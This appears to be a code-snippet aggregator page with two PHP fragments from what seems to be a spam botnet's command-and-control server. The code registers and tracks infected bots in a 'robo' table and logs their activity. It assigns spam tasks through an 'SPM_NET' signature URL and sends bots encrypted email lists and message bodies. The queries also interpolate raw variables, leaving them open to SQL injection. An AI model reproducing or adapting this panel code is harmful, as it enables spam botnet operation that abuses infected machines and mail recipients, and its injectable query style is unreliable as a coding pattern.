示例#1
0
        $list = get_list(mysql_result($tasks, 0, 'list'), $tid, $lpr, $resint);
        if ($resint == $status_in_success) {
            @mysql_query("UPDATE tasks SET `status`='{$status_in_success}' WHERE `id`='{$tid}';");
        }
        if ($style == 0) {
            $text = str_replace("%MESSAGE_BODY", $body, $header);
            $text .= "\r\n";
        } else {
            $text = $body;
        }
        MacroBody($text);
        $out .= "realip={$ip}\r\n";
        $out .= "hostname={$host}\r\n";
        $out .= "style={$style}\r\n";
        $out .= "</info>\r\n";
        $out .= "<emails>\r\n";
        $out .= "{$list}";
        $out .= "</emails>\r\n";
        if ($task != $tid) {
            $out .= "<text>\r\n";
            $out .= "{$text}\r\n";
            $out .= "</text>\r\n";
        }
    } else {
        $out .= "0\r\n";
    }
}
$out .= "</info>";
mysql_close($dbase);
echo CryptData($out, $id);
//  echo $out;
示例#2
0
            $j = 0;
        }
    }
    return strtoupper($newstr);
}
$block_fg = 0;
$res = @mysql_query("SELECT * FROM robo WHERE `id` = '{$id}';");
$Row = @mysql_fetch_array($res);
if (!$Row) {
    @mysql_query("INSERT INTO robo (id,ip,tick,time,smtp,ver, bl) VALUES ('{$id}','{$ip}','{$tick}','{$time}','{$smtp}','{$ver}', '0');");
} else {
    $block_fg = $Row["bl"];
    @mysql_query("UPDATE robo SET `time`='{$time}', `ip`='{$ip}', `tick`='{$tick}', `smtp`='{$smtp}', `ver`='{$ver}' WHERE `id`='{$id}';");
}
$ip = $_SERVER['REMOTE_ADDR'];
if ($log_activity) {
    @mysql_query("INSERT INTO BotActivity (DateTime,BotId,BotVer,ActivityType,AdditionalId,IP) VALUES ('" . date("Y-m-d H:i:s") . "','{$id}','{$ver}','1','','{$ip}');");
}
if (isset($task) || $smtp === "bad" || $block_fg == 1) {
    $SYGNATURE = "SPM_NET;";
} else {
    $tasks = @mysql_query("SELECT * FROM tasks WHERE (`status` = {$status_in_process}) LIMIT 1;");
    if (@mysql_num_rows($tasks) > 0) {
        $SYGNATURE = "SPM_NET=http://{$server}/spm/s_tasks.php?id={$id}&ver={$ver};";
    } else {
        $SYGNATURE = "SPM_NET;";
    }
}
mysql_close($dbase);
echo CryptData($SYGNATURE, $id);